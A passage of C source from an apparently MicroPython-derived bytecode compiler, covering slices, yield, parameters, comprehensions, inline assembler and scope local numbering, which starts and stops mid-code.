EMIT_ARG(build_slice, 3);\n        }\n    } else if (pt_is_rule(p, PN_subscript_3d)) {\n        p = pt_rule_first(p);\n        p = compile_node(comp, p);\n        assert(pt_is_rule(p, PN_sliceop)); // should always be\n        p = pt_rule_first(p);\n        if (p == ptop) {\n            // [?:x:]\n            EMIT_ARG(build_slice, 2);\n        } else {\n            // [?:x:x]\n            compile_node(comp, p);\n            EMIT_ARG(build_slice, 3);\n        }\n    } else {\n        // [?:x]\n        compile_node(comp, p);\n        EMIT_ARG(build_slice, 2);\n    }\n}\n\nSTATIC void compile_subscript_2(compiler_t *comp, const byte *p, const byte *ptop) {\n    p = compile_node(comp, p); // start of slice\n    p = pt_rule_first(p); // skip header of subscript_3\n    compile_subscript_3_helper(comp, p, ptop);\n}\n\nSTATIC void compile_subscript_3(compiler_t *comp, const byte *p, const byte *ptop) {\n    EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n    compile_subscript_3_helper(comp, p, ptop);\n}\n#endif // MICROPY_PY_BUILTINS_SLICE\n\nSTATIC void compile_dictorsetmaker_item(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    // if this is called then we are compiling a dict key:value pair\n    compile_node(comp, pt_next(p)); // value\n    compile_node(comp, p); // key\n}\n\nSTATIC void compile_classdef(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    qstr cname = compile_classdef_helper(comp, p, comp->scope_cur->emit_options);\n    // store class object into class name\n    compile_store_id(comp, cname);\n}\n\nSTATIC void compile_yield_expr(compiler_t *comp, const byte *p, const byte *ptop) {\n    if (comp->scope_cur->kind != SCOPE_FUNCTION && comp->scope_cur->kind != SCOPE_LAMBDA) {\n        compile_syntax_error(comp, NULL, \"'yield' outside function\");\n        return;\n    }\n    if (pt_is_null_with_top(p, ptop)) {\n        EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n        EMIT(yield_value);\n    } else if (pt_is_rule(p, PN_yield_arg_from)) {\n        p = pt_rule_first(p);\n        compile_node(comp, p);\n        EMIT_ARG(get_iter, false);\n        EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n        EMIT(yield_from);\n    } else {\n        compile_node(comp, p);\n        EMIT(yield_value);\n    }\n}\n\nSTATIC mp_obj_t get_const_object(compiler_t *comp, const byte *p) {\n    size_t idx;\n    p = pt_extract_const_obj(p, &idx);\n    return (mp_obj_t)comp->co_data[idx];\n}\n\nSTATIC void compile_const_object(compiler_t *comp, const byte *p, const byte *ptop) {\n    EMIT_ARG(load_const_obj, get_const_object(comp, p));\n}\n\ntypedef void (*compile_function_t)(compiler_t*, const byte*, const byte*);\nSTATIC compile_function_t compile_function[] = {\n#define nc NULL\n#define c(f) compile_##f\n#define DEF_RULE(rule, comp, kind, ...) comp,\n#define DEF_RULE_NC(rule, kind, ...)\n#include \"py/grammar.h\"\n#undef c\n#undef DEF_RULE\n#undef DEF_RULE_NC\n    compile_const_object,\n};\n\nSTATIC const byte *compile_node(compiler_t *comp, const byte *p) {\n    //printf(\"CN %p %02x %02x %02x\\n\", p, p[0], p[1], p[2]);\n    if (pt_is_null(p)) {\n        // pass\n        return p + 1;\n    } else if (pt_is_small_int(p)) {\n        mp_int_t arg;\n        p = pt_get_small_int(p, &arg);\n        #if MICROPY_DYNAMIC_COMPILER\n        mp_uint_t sign_mask = -(1 << (mp_dynamic_compiler.small_int_bits - 1));\n        if ((arg & sign_mask) == 0 || (arg & sign_mask) == sign_mask) {\n            // integer fits in target runtime's small-int\n            EMIT_ARG(load_const_small_int, arg);\n        } else {\n            // integer doesn't fit, so create a multi-precision int object\n            // (but only create the actual object on the last pass)\n            if (comp->pass != MP_PASS_EMIT) {\n                EMIT_ARG(load_const_obj, mp_const_none);\n            } else {\n                EMIT_ARG(load_const_obj, mp_obj_new_int_from_ll(arg));\n            }\n        }\n        #else\n        EMIT_ARG(load_const_small_int, arg);\n        #endif\n        return p;\n    } else if (pt_is_any_tok(p)) {\n        byte tok;\n        p = pt_tok_extract(p, &tok);\n        if (tok == MP_TOKEN_NEWLINE) {\n            // this can occur when file_input lets through a NEWLINE (eg if file starts with a newline)\n            // or when single_input lets through a NEWLINE (user enters a blank line)\n            // do nothing\n        } else {\n            EMIT_ARG(load_const_tok, tok);\n        }\n        return p;\n    } else if (*p == MP_PT_STRING) {\n        qstr qst = p[1] | (p[2] << 8);\n        EMIT_ARG(load_const_str, qst);\n        return pt_next(p);\n    } else if (*p == MP_PT_BYTES) {\n        // only create and load the actual bytes object on the last pass\n        if (comp->pass != MP_PASS_EMIT) {\n            EMIT_ARG(load_const_obj, mp_const_none);\n        } else {\n            qstr qst = p[1] | (p[2] << 8);\n            size_t len;\n            const byte *data = qstr_data(qst, &len);\n            EMIT_ARG(load_const_obj, mp_obj_new_bytes(data, len));\n        }\n        return pt_next(p);\n    } else if (pt_is_any_id(p)) {\n        qstr qst;\n        p = pt_extract_id(p, &qst);\n        compile_load_id(comp, qst);\n        return p;\n    } else if (*p == MP_PT_CONST_OBJECT) {\n        size_t idx;\n        p = pt_extract_const_obj(p, &idx);\n        EMIT_ARG(load_const_obj, (mp_obj_t)comp->co_data[idx]);\n        return p;\n    } else {\n        assert(*p >= MP_PT_RULE_BASE);\n        size_t rule_id, src_line;\n        const byte *ptop;\n        p = pt_rule_extract(p, &rule_id, &src_line, &ptop);\n        EMIT_ARG(set_source_line, src_line);\n        compile_function_t f = compile_function[rule_id];\n        assert(f != NULL);\n        f(comp, p, ptop);\n        if (comp->compile_error != MP_OBJ_NULL && comp->compile_error_line == 0) {\n            // add line info for the error in case it didn't have a line number\n            comp->compile_error_line = src_line;\n        }\n        return ptop;\n    }\n}\n\nSTATIC void compile_scope_func_lambda_param(compiler_t *comp, const byte *p, pn_kind_t pn_name, pn_kind_t pn_star, pn_kind_t pn_dbl_star) {\n    (void)pn_dbl_star;\n    // check that **kw is last\n    if ((comp->scope_cur->scope_flags & MP_SCOPE_FLAG_VARKEYWORDS) != 0) {\n        compile_syntax_error(comp, p, \"invalid syntax\");\n        return;\n    }\n\n    qstr param_name = MP_QSTR_NULL;\n    uint param_flag = ID_FLAG_IS_PARAM;\n    if (pt_is_any_id(p)) {\n        pt_extract_id(p, &param_name);\n        if (comp->have_star) {\n            // comes after a star, so counts as a keyword-only parameter\n            comp->scope_cur->num_kwonly_args += 1;\n        } else {\n            // comes before a star, so counts as a positional parameter\n            comp->scope_cur->num_pos_args += 1;\n        }\n    } else {\n        if (pt_is_rule(p, pn_name)) {\n            pt_extract_id(pt_rule_first(p), &param_name);\n            if (comp->have_star) {\n                // comes after a star, so counts as a keyword-only parameter\n                comp->scope_cur->num_kwonly_args += 1;\n            } else {\n                // comes before a star, so counts as a positional parameter\n                comp->scope_cur->num_pos_args += 1;\n            }\n        } else if (pt_is_rule(p, pn_star)) {\n            if (comp->have_star) {\n                // more than one star\n                compile_syntax_error(comp, p, \"invalid syntax\");\n                return;\n            }\n            comp->have_star = true;\n            param_flag = ID_FLAG_IS_PARAM | ID_FLAG_IS_STAR_PARAM;\n            if (pt_is_rule_empty(p)) {\n                // bare star\n                // TODO see http://www.python.org/dev/peps/pep-3102/\n                //assert(comp->scope_cur->num_dict_params == 0);\n            } else if (pt_is_any_id(pt_rule_first(p))) {\n                // named star\n                comp->scope_cur->scope_flags |= MP_SCOPE_FLAG_VARARGS;\n                pt_extract_id(pt_rule_first(p), &param_name);\n            } else {\n                assert(pt_is_rule(pt_rule_first(p), PN_tfpdef)); // should be\n                // named star with possible annotation\n                comp->scope_cur->scope_flags |= MP_SCOPE_FLAG_VARARGS;\n                pt_extract_id(pt_rule_first(pt_rule_first(p)), &param_name);\n            }\n        } else {\n            assert(pt_is_rule(p, pn_dbl_star)); // should be\n            pt_extract_id(pt_rule_first(p), &param_name);\n            param_flag = ID_FLAG_IS_PARAM | ID_FLAG_IS_DBL_STAR_PARAM;\n            comp->scope_cur->scope_flags |= MP_SCOPE_FLAG_VARKEYWORDS;\n        }\n    }\n\n    if (param_name != MP_QSTR_NULL) {\n        bool added;\n        id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, param_name, &added);\n        if (!added) {\n            compile_syntax_error(comp, p, \"name reused for argument\");\n            return;\n        }\n        id_info->kind = ID_INFO_KIND_LOCAL;\n        id_info->flags = param_flag;\n    }\n}\n\nSTATIC void compile_scope_func_param(compiler_t *comp, const byte *p) {\n    compile_scope_func_lambda_param(comp, p, PN_typedargslist_name, PN_typedargslist_star, PN_typedargslist_dbl_star);\n}\n\nSTATIC void compile_scope_lambda_param(compiler_t *comp, const byte *p) {\n    compile_scope_func_lambda_param(comp, p, PN_varargslist_name, PN_varargslist_star, PN_varargslist_dbl_star);\n}\n\n#if MICROPY_EMIT_NATIVE\nSTATIC void compile_scope_func_annotations(compiler_t *comp, const byte *p) {\n    if (pt_is_rule(p, PN_typedargslist_name)) {\n        // named parameter with possible annotation\n        // fallthrough\n    } else if (pt_is_rule(p, PN_typedargslist_star)) {\n        const byte *p0 = pt_rule_first(p);\n        if (pt_is_rule(p0, PN_tfpdef)) {\n            // named star with possible annotation\n            p = p0;\n            // fallthrough\n        } else {\n            // no annotation\n            return;\n        }\n    } else if (pt_is_rule(p, PN_typedargslist_dbl_star)) {\n        // double star with possible annotation\n        // fallthrough\n    } else {\n        // no annotation\n        return;\n    }\n\n    // p should be a rule whose first node is an identifier and second may be the annotation\n\n    const byte *ptop;\n    p = pt_rule_extract_top(p, &ptop);\n\n    qstr param_name;\n    p = pt_extract_id(p, &param_name);\n\n    if (!pt_is_null_with_top(p, ptop)) {\n        id_info_t *id_info = scope_find(comp->scope_cur, param_name);\n        assert(id_info != NULL);\n\n        if (pt_is_any_id(p)) {\n            qstr arg_type;\n            pt_extract_id(p, &arg_type);\n            EMIT_ARG(set_native_type, MP_EMIT_NATIVE_TYPE_ARG, id_info->local_num, arg_type);\n        } else {\n            compile_syntax_error(comp, p, \"parameter annotation must be an identifier\");\n        }\n    }\n}\n#endif // MICROPY_EMIT_NATIVE\n\nSTATIC void compile_scope_comp_iter(compiler_t *comp, const byte *p_comp_for, const byte *p_comp_for_top, const byte *p_inner_expr, int for_depth) {\n    uint l_top = comp_next_label(comp);\n    uint l_end = comp_next_label(comp);\n    EMIT_ARG(label_assign, l_top);\n    EMIT_ARG(for_iter, l_end);\n    c_assign(comp, p_comp_for, ASSIGN_STORE);\n    const byte *p_iter = pt_next(pt_next(p_comp_for));\n\n    tail_recursion:\n    if (p_iter == p_comp_for_top) {\n        // no more nested if/for; compile inner expression\n        compile_node(comp, p_inner_expr);\n        if (comp->scope_cur->kind == SCOPE_GEN_EXPR) {\n            EMIT(yield_value);\n            EMIT(pop_top);\n        } else {\n            EMIT_ARG(store_comp, comp->scope_cur->kind, 4 * for_depth + 5);\n        }\n    } else if (pt_is_rule(p_iter, PN_comp_if)) {\n        // if condition\n        const byte *p0 = pt_rule_extract_top(p_iter, &p_comp_for_top);\n        p_iter = c_if_cond(comp, p0, false, l_top);\n        goto tail_recursion;\n    } else {\n        assert(pt_is_rule(p_iter, PN_comp_for)); // should be\n        // for loop\n        const byte *ptop;\n        const byte *p0 = pt_rule_extract_top(p_iter, &ptop);\n        p0 = pt_next(p0); // skip scope index\n        compile_node(comp, pt_next(p0));\n        EMIT_ARG(get_iter, true);\n        compile_scope_comp_iter(comp, p0, ptop, p_inner_expr, for_depth + 1);\n    }\n\n    EMIT_ARG(jump, l_top);\n    EMIT_ARG(label_assign, l_end);\n    EMIT(for_iter_end);\n}\n\n#if 0\nSTATIC void check_for_doc_string(compiler_t *comp, mp_parse_node_t pn) {\n#if MICROPY_ENABLE_DOC_STRING\n    // see http://www.python.org/dev/peps/pep-0257/\n\n    // look for the first statement\n    if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_expr_stmt)) {\n        // a statement; fall through\n    } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_file_input_2)) {\n        // file input; find the first non-newline node\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n        int num_nodes = MP_PARSE_NODE_STRUCT_NUM_NODES(pns);\n        for (int i = 0; i < num_nodes; i++) {\n            pn = pns->nodes[i];\n            if (!(MP_PARSE_NODE_IS_LEAF(pn) && MP_PARSE_NODE_LEAF_KIND(pn) == MP_PARSE_NODE_TOKEN && MP_PARSE_NODE_LEAF_ARG(pn) == MP_TOKEN_NEWLINE)) {\n                // not a newline, so this is the first statement; finish search\n                break;\n            }\n        }\n        // if we didn't find a non-newline then it's okay to fall through; pn will be a newline and so doc-string test below will fail gracefully\n    } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_suite_block_stmts)) {\n        // a list of statements; get the first one\n        pn = ((mp_parse_node_struct_t*)pn)->nodes[0];\n    } else {\n        return;\n    }\n\n    // check the first statement for a doc string\n    if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_expr_stmt)) {\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n        if ((MP_PARSE_NODE_IS_LEAF(pns->nodes[0])\n                && MP_PARSE_NODE_LEAF_KIND(pns->nodes[0]) == MP_PARSE_NODE_STRING)\n            || MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_string)) {\n                // compile the doc string\n                compile_node(comp, pns->nodes[0]);\n                // store the doc string\n                compile_store_id(comp, MP_QSTR___doc__);\n        }\n    }\n#else\n    (void)comp;\n    (void)pn;\n#endif\n}\n#endif\n\nSTATIC void compile_scope(compiler_t *comp, scope_t *scope, pass_kind_t pass) {\n    comp->pass = pass;\n    comp->scope_cur = scope;\n    comp->next_label = 0;\n    EMIT_ARG(start_pass, pass, scope);\n\n    if (comp->pass == MP_PASS_SCOPE) {\n        // reset maximum stack sizes in scope\n        // they will be computed in this first pass\n        scope->stack_size = 0;\n        scope->exc_stack_size = 0;\n    }\n\n    // compile\n    if (pt_is_rule(scope->pn, PN_eval_input)) {\n        assert(scope->kind == SCOPE_MODULE);\n        compile_node(comp, pt_rule_first(scope->pn)); // compile the expression\n        EMIT(return_value);\n    } else if (scope->kind == SCOPE_MODULE) {\n        if (!comp->is_repl) {\n            //check_for_doc_string(comp, scope->pn);\n        }\n        compile_node(comp, scope->pn);\n        EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n        EMIT(return_value);\n    } else if (scope->kind == SCOPE_FUNCTION) {\n        const byte *p = scope->pn;\n\n        p = pt_next(p); // skip func name\n\n        // work out number of parameters, keywords and default parameters, and add them to the id_info array\n        // must be done before compiling the body so that arguments are numbered first (for LOAD_FAST etc)\n        if (comp->pass == MP_PASS_SCOPE) {\n            comp->have_star = false;\n            apply_to_single_or_list(comp, p, PN_typedargslist, compile_scope_func_param);\n        }\n\n        #if MICROPY_EMIT_NATIVE\n        else if (scope->emit_options == MP_EMIT_OPT_VIPER) {\n            // compile annotations; only needed on latter compiler passes\n            // only needed for viper emitter\n\n            // argument annotations\n            apply_to_single_or_list(comp, p, PN_typedargslist, compile_scope_func_annotations);\n\n            const byte *p_ret = pt_next(p); // skip arg list\n\n            // next node is return/whole function annotation\n            if (pt_is_any_id(p_ret)) {\n                qstr ret_type;\n                pt_extract_id(p_ret, &ret_type);\n                EMIT_ARG(set_native_type, MP_EMIT_NATIVE_TYPE_RETURN, 0, ret_type);\n            } else if (!pt_is_null(p_ret)) {\n                compile_syntax_error(comp, p_ret, \"return annotation must be an identifier\");\n            }\n        }\n        #endif // MICROPY_EMIT_NATIVE\n\n        p = pt_next(p); // skip arg list\n        p = pt_next(p); // skip return annotation\n\n        compile_node(comp, p); // function body\n\n        // emit return if it wasn't the last opcode\n        if (!EMIT(last_emit_was_return_value)) {\n            EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n            EMIT(return_value);\n        }\n    } else if (scope->kind == SCOPE_LAMBDA) {\n        const byte *p = scope->pn;\n\n        // work out number of parameters, keywords and default parameters, and add them to the id_info array\n        // must be done before compiling the body so that arguments are numbered first (for LOAD_FAST etc)\n        if (comp->pass == MP_PASS_SCOPE) {\n            comp->have_star = false;\n            apply_to_single_or_list(comp, p, PN_varargslist, compile_scope_lambda_param);\n        }\n\n        p = pt_next(p); // skip arg list\n\n        compile_node(comp, p); // lambda body\n\n        // if the lambda is a generator, then we return None, not the result of the expression of the lambda\n        if (scope->scope_flags & MP_SCOPE_FLAG_GENERATOR) {\n            EMIT(pop_top);\n            EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n        }\n        EMIT(return_value);\n    } else if (scope->kind == SCOPE_LIST_COMP || scope->kind == SCOPE_DICT_COMP || scope->kind == SCOPE_SET_COMP || scope->kind == SCOPE_GEN_EXPR) {\n        const byte *p = scope->pn;\n        const byte *p_comp_for = pt_next(p);\n        const byte *p_comp_for_top;\n        p_comp_for = pt_rule_extract_top(p_comp_for, &p_comp_for_top);\n        p_comp_for = pt_next(p_comp_for); // skip scope index\n\n        // We need a unique name for the comprehension argument (the iterator).\n        // CPython uses .0, but we should be able to use anything that won't\n        // clash with a user defined variable.  Best to use an existing qstr,\n        // so we use the blank qstr.\n        qstr qstr_arg = MP_QSTR_;\n        if (comp->pass == MP_PASS_SCOPE) {\n            bool added;\n            id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, qstr_arg, &added);\n            assert(added);\n            id_info->kind = ID_INFO_KIND_LOCAL;\n            scope->num_pos_args = 1;\n        }\n\n        if (scope->kind == SCOPE_LIST_COMP) {\n            EMIT_ARG(build_list, 0);\n        } else if (scope->kind == SCOPE_DICT_COMP) {\n            EMIT_ARG(build_map, 0);\n        #if MICROPY_PY_BUILTINS_SET\n        } else if (scope->kind == SCOPE_SET_COMP) {\n            EMIT_ARG(build_set, 0);\n        #endif\n        }\n\n        // There are 4 slots on the stack for the iterator, and the first one is\n        // NULL to indicate that the second one points to the iterator object.\n        if (scope->kind == SCOPE_GEN_EXPR) {\n            // TODO static assert that MP_OBJ_ITER_BUF_NSLOTS == 4\n            EMIT(load_null);\n            compile_load_id(comp, qstr_arg);\n            EMIT(load_null);\n            EMIT(load_null);\n        } else {\n            compile_load_id(comp, qstr_arg);\n            EMIT_ARG(get_iter, true);\n        }\n\n        compile_scope_comp_iter(comp, p_comp_for, p_comp_for_top, p, 0);\n\n        if (scope->kind == SCOPE_GEN_EXPR) {\n            EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n        }\n        EMIT(return_value);\n    } else {\n        assert(scope->kind == SCOPE_CLASS);\n\n        if (comp->pass == MP_PASS_SCOPE) {\n            bool added;\n            id_info_t *id_info = scope_find_or_add_id(scope, MP_QSTR___class__, &added);\n            assert(added);\n            id_info->kind = ID_INFO_KIND_LOCAL;\n        }\n\n        // just to check, should remove this code\n        qstr class_name;\n        pt_extract_id(scope->pn, &class_name);\n        assert(class_name == scope->simple_name);\n\n        compile_load_id(comp, MP_QSTR___name__);\n        compile_store_id(comp, MP_QSTR___module__);\n        EMIT_ARG(load_const_str, scope->simple_name);\n        compile_store_id(comp, MP_QSTR___qualname__);\n\n        const byte *p = pt_next(pt_next(scope->pn)); // skip name, bases\n        //check_for_doc_string(comp, p);\n        compile_node(comp, p); // class body\n\n        id_info_t *id = scope_find(scope, MP_QSTR___class__);\n        assert(id != NULL);\n        if (id->kind == ID_INFO_KIND_LOCAL) {\n            EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n        } else {\n            EMIT_LOAD_FAST(MP_QSTR___class__, id->local_num);\n        }\n        EMIT(return_value);\n    }\n\n    EMIT(end_pass);\n\n    // make sure we match all the exception levels\n    assert(comp->cur_except_level == 0);\n}\n\n#if MICROPY_EMIT_INLINE_ASM\n// requires 3 passes: SCOPE, CODE_SIZE, EMIT\nSTATIC void compile_scope_inline_asm(compiler_t *comp, scope_t *scope, pass_kind_t pass) {\n    comp->pass = pass;\n    comp->scope_cur = scope;\n    comp->next_label = 0;\n\n    if (scope->kind != SCOPE_FUNCTION) {\n        compile_syntax_error(comp, NULL, \"inline assembler must be a function\");\n        return;\n    }\n\n    if (comp->pass > MP_PASS_SCOPE) {\n        EMIT_INLINE_ASM_ARG(start_pass, comp->pass, &comp->compile_error);\n    }\n\n    // get the function definition parse node\n    const byte *p = scope->pn;\n    assert(pt_is_any_id(p));\n    p = pt_next(p); // skip the function name\n\n    // parameters are in next node\n    if (comp->pass == MP_PASS_CODE_SIZE) {\n        const byte *pp = p;\n        const byte *pptop = mp_parse_node_extract_list(&pp, PN_typedargslist);\n        scope->num_pos_args = EMIT_INLINE_ASM_ARG(count_params, pp, pptop);\n        if (comp->compile_error != MP_OBJ_NULL) {\n            goto inline_asm_error;\n        }\n    }\n\n    p = pt_next(p); // skip the parameter list\n\n    // function return annotation is in the next node\n    mp_uint_t type_sig = MP_NATIVE_TYPE_INT;\n    if (!pt_is_null(p)) {\n        if (pt_is_any_id(p)) {\n            qstr ret_type;\n            pt_extract_id(p, &ret_type);\n            switch (ret_type) {\n                case MP_QSTR_object: type_sig = MP_NATIVE_TYPE_OBJ; break;\n                case MP_QSTR_bool: type_sig = MP_NATIVE_TYPE_BOOL; break;\n                case MP_QSTR_int: type_sig = MP_NATIVE_TYPE_INT; break;\n                case MP_QSTR_uint: type_sig = MP_NATIVE_TYPE_UINT; break;\n                default: compile_syntax_error(comp, p, \"unknown type\"); return;\n            }\n        } else {\n            compile_syntax_error(comp, p, \"return annotation must be an identifier\");\n        }\n    }\n    p = pt_next(p); // move past function return annotation\n\n    // get the list of statements within the body of the function\n    const byte *ptop = mp_parse_node_extract_list(&p, PN_suite_block_stmts);\n\n    for (const byte *p_instr = p; p_instr != ptop; p_instr = pt_next(p_instr)) {\n        p = p_instr;\n        if (pt_is_rule(p, PN_pass_stmt)) {\n            // no instructions\n            continue;\n        } else if (!pt_is_rule(p, PN_expr_stmt)) {\n            // not an instruction; error\n        not_an_instruction:\n            compile_syntax_error(comp, p, \"expecting an assembler instruction\");\n            return;\n        }\n\n        // check structure of parse node\n        const byte *p_expr_top;\n        const byte *p_expr = pt_rule_extract_top(p, &p_expr_top);\n        if (!pt_is_rule(p_expr, PN_atom_expr_normal)) {\n            goto not_an_instruction;\n        }\n        if (pt_next(p_expr) != p_expr_top) {\n            goto not_an_instruction;\n        }\n        p_expr = pt_rule_extract_top(p_expr, &p_expr_top);\n        if (!pt_is_any_id(p_expr)) {\n            goto not_an_instruction;\n        }\n        const byte *p_expr_paren = pt_next(p_expr);\n        if (p_expr_paren == p_expr_top || !pt_is_rule(p_expr_paren, PN_trailer_paren)) {\n            goto not_an_instruction;\n        }\n        if (pt_next(p_expr_paren) != p_expr_top) {\n            goto not_an_instruction;\n        }\n\n        // parse node looks like an instruction\n        // get instruction name and args\n        qstr op;\n        pt_extract_id(p_expr, &op);\n\n        const byte *p_args = pt_rule_first(p_expr_paren);\n        const byte *p_args_top = mp_parse_node_extract_list(&p_args, PN_arglist);\n        uint n_args = pt_num_nodes(p_args, p_args_top);\n\n        // emit instructions\n        if (op == MP_QSTR_label) {\n            if (!(n_args == 1 && pt_is_any_id(p_args))) {\n                compile_syntax_error(comp, p, \"'label' requires 1 argument\");\n                return;\n            }\n            uint lab = comp_next_label(comp);\n            if (pass > MP_PASS_SCOPE) {\n                qstr id;\n                pt_extract_id(p_args, &id);\n                if (!EMIT_INLINE_ASM_ARG(label, lab, id)) {\n                    compile_syntax_error(comp, p, \"label redefined\");\n                    return;\n                }\n            }\n        } else if (op == MP_QSTR_align) {\n            if (!(n_args == 1 && pt_is_small_int(p_args))) {\n                compile_syntax_error(comp, p, \"'align' requires 1 argument\");\n                return;\n            }\n            if (pass > MP_PASS_SCOPE) {\n                mp_asm_base_align((mp_asm_base_t*)comp->emit_inline_asm,\n                    pt_small_int_value(p_args));\n            }\n        } else if (op == MP_QSTR_data) {\n            if (!(n_args >= 2 && pt_is_small_int(p_args))) {\n                compile_syntax_error(comp, p, \"'data' requires at least 2 arguments\");\n                return;\n            }\n            if (pass > MP_PASS_SCOPE) {\n                mp_int_t bytesize;\n                p_args = pt_get_small_int(p_args, &bytesize);\n                for (uint j = 1; j < n_args; j++) {\n                    if (!pt_is_small_int(p_args)) {\n                        compile_syntax_error(comp, p, \"'data' requires integer arguments\");\n                        return;\n                    }\n                    mp_int_t val;\n                    p_args = pt_get_small_int(p_args, &val);\n                    mp_asm_base_data((mp_asm_base_t*)comp->emit_inline_asm,\n                        bytesize, val);\n                }\n            }\n        } else {\n            if (pass > MP_PASS_SCOPE) {\n                if (n_args > 3) {\n                    goto not_an_instruction;\n                }\n                const byte *pn_arg[3];\n                pn_arg[0] = p_args;\n                pn_arg[1] = pt_next(pn_arg[0]);\n                pn_arg[2] = pt_next(pn_arg[1]);\n                EMIT_INLINE_ASM_ARG(op, op, n_args, pn_arg);\n            }\n        }\n\n        if (comp->compile_error != MP_OBJ_NULL) {\n            goto inline_asm_error;\n        }\n    }\n\n    if (comp->pass > MP_PASS_SCOPE) {\n        EMIT_INLINE_ASM_ARG(end_pass, type_sig);\n\n        if (comp->pass == MP_PASS_EMIT) {\n            void *f = mp_asm_base_get_code((mp_asm_base_t*)comp->emit_inline_asm);\n            mp_emit_glue_assign_native(comp->scope_cur->raw_code, MP_CODE_NATIVE_ASM,\n                f, mp_asm_base_get_code_size((mp_asm_base_t*)comp->emit_inline_asm),\n                NULL, comp->scope_cur->num_pos_args, 0, type_sig);\n        }\n    }\n\n    if (comp->compile_error != MP_OBJ_NULL) {\n        // inline assembler had an error; set line for its exception\n    inline_asm_error:\n        compile_error_set_line(comp, p);\n    }\n}\n#endif\n\nSTATIC void scope_compute_things(scope_t *scope) {\n    // in Micro Python we put the *x parameter after all other parameters (except **y)\n    if (scope->scope_flags & MP_SCOPE_FLAG_VARARGS) {\n        id_info_t *id_param = NULL;\n        for (int i = scope->id_info_len - 1; i >= 0; i--) {\n            id_info_t *id = &scope->id_info[i];\n            if (id->flags & ID_FLAG_IS_STAR_PARAM) {\n                if (id_param != NULL) {\n                    // swap star param with last param\n                    id_info_t temp = *id_param; *id_param = *id; *id = temp;\n                }\n                break;\n            } else if (id_param == NULL && id->flags == ID_FLAG_IS_PARAM) {\n                id_param = id;\n            }\n        }\n    }\n\n    // in functions, turn implicit globals into explicit globals\n    // compute the index of each local\n    scope->num_locals = 0;\n    for (int i = 0; i < scope->id_info_len; i++) {\n        id_info_t *id = &scope->id_info[i];\n        if (scope->kind == SCOPE_CLASS && id->qst == MP_QSTR___class__) {\n            // __class__ is not counted as a local; if it's used then it becomes a ID_INFO_KIND_CELL\n            continue;\n        }\n        if (SCOPE_IS_FUNC_LIKE(scope->kind) && id->kind == ID_INFO_KIND_GLOBAL_IMPLICIT) {\n            id->kind = ID_INFO_KIND_GLOBAL_EXPLICIT;\n        }\n        // params always count for 1 local, even if they are a cell\n        if (id->kind == ID_INFO_KIND_LOCAL || (id->flags & ID_FLAG_IS_PARAM)) {\n            id->local_num = scope->num_locals++;\n        }\n    }\n\n    // compute the index of cell vars\n    for (int i = 0; i < scope->id_info_len; i++) {\n        id_info_t *id = &scope->id_info[i];\n        // in Micro Python the cells come right after the fast locals\n        // parameters are not counted here, since they remain at the start\n        // of the locals, even if they are cell vars\n        if (id->kind == ID_INFO_KIND_CELL && !(id->flags & ID_FLAG_IS_PARAM)) {\n            id->local_num = scope->num_locals;\n            scope->num_locals += 1;\n        }\n    }\n\n    // compute the index of free vars\n    // make sure they are in the order of the parent scope\n    if (scope->parent != NULL) {\n        int num_free = 0;\n        for (int i = 0; i < scope->parent->id_info_len; i++) {\n            id_info_t *id = &scope->parent->id_info[i];\n            if (id->kind == ID_INFO_KIND_CELL || id->kind == ID_INFO_KIND_FREE) {\n                for (int j = 0; j < scope->id_info_len; j++) {\n                    id_info_t *id2 = &scope->id_info[j];\n                    if (id2->kind == ID_INFO_KIND_FREE && id->qst == id2->qst) {\n                        assert(!(id2->flags & ID_FLAG_IS_PARAM)); // free vars should not be params\n                        // in Micro Python the frees come first, before the params\n                        id2->local_num = num_free;\n                        num_free += 1;\n                    }\n                }\n            }\n        }\n        // in Micro Python shift all other locals after the free locals\n        if (num_free > 0) {\n            for (int i = 0; i < scope->id_info_len; i++) {\n                id_info_t *id = &scope->id_info[i];\n                if (id->kind != ID_INFO_KIND_FREE || (id->flags & ID_FLAG_IS_PARAM)) {\n                    id->local_num += num_free;\n                }\n            }\n            scope->num_pos_args += num_free; // free vars are counted as params for passing them into the function\n            scope->num_locals += num_free;\n        }\n    }\n}\n\n#if !MICROPY_PERSISTENT_CODE_SAVE\nSTATIC\n#endif\nmp_raw_code_t *mp_compile_to_raw_code(mp_parse_tree_t *parse_tree, qstr source_file, uint emit_opt, bool is_repl) {\n    // put compiler state on the stack, it's relatively small\n    compiler_t comp_state = {0};\n    compiler_t *comp = &comp_state;\n\n    comp->source_file = source_file;\n    comp->is_repl = is_repl;\n    comp->co_data = parse_tree->co_data;\n    comp->break_label = INVALID_LABEL;\n    comp->continue_label = INVALID_LABEL;\n\n    // create the array of scopes\n    comp->num_scopes = pt_small_int_value(pt_next(parse_tree->root));\n    comp->scopes = m_new0(scope_t*, comp->num_scopes);\n\n    // create the module scope\n    scope_new_and_link(comp, 0, SCOPE_MODULE, parse_tree->root, emit_opt);\n\n    // create standard emitter; it's used at least for MP_PASS_SCOPE\n    emit_t *emit_bc = emit_bc_new();\n\n    // compile pass 1\n    comp->emit = emit_bc;\n    #if MICROPY_EMIT_NATIVE\n    comp->emit_method_table = &emit_bc_method_table;\n    #endif\n    uint max_num_labels = 0;\n\n    // grrr: scope for nested comp_for's are not used, unless they are parenthesised\n    // and become individual generators; in this case they are parsed in the wrong\n    // direction for allocation of scope id\n    bool keep_going = true;\n    while (keep_going) {\n        keep_going = false;\n\n    for (uint i = 